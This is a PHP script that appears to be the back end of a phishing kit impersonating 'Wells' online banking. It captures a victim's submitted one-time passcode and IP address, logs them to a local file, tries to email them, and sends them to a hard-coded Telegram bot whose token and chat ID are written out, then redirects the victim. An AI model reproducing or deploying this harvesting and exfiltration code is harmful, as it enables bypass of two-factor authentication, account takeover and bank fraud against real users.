<?php
// Initialize session and buffering
session_start();
ob_start();

// Include the necessary files
include 'Email.php';

// Store POST username in session
$_SESSION['username'] = $_POST['username'];

// Generate random data for hash and encoding
$random = rand(0, 100000000000);
$md5 = md5("$random");
$base = base64_encode($md5);
$host = md5("$base");

// Store username in session again (seems redundant)
$_SESSION['username'] = $_POST['username'];

// Get the IP address
$ip = getenv("REMOTE_ADDR");

// Prepare message content
$message = "Bit Results:                  \n";
$message .= "OTP-Number: " . $_POST['sms'] . "\n";

// Set email headers and subject
$headers = "From: WElls online <mail@wsfonmail.com>";
$subject = " WElls online - $ip";

// Send the email using cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "mailto:$SEND");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'subject' => $subject,
    'message' => $message,
    'headers' => $headers
]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);
curl_close($ch);

// Log the message to a file
$file = fopen("log-Owtoya.txt", 'a');
fwrite($file, $message);
fclose($file);

// Send Telegram message using cURL
$token = "5812352919:AAGtQ_JFGA9padfKL_8vWPAjlTT_SIWt18Y";
$data = [
    'text' => $message,
    'chat_id' => '5606862820'
];

// cURL request to Telegram API
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "https://api.telegram.org/bot$token/sendMessage");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);
curl_close($ch);

// Destroy session
session_destroy();

// Redirect to another page
header("Location: redirect.php");
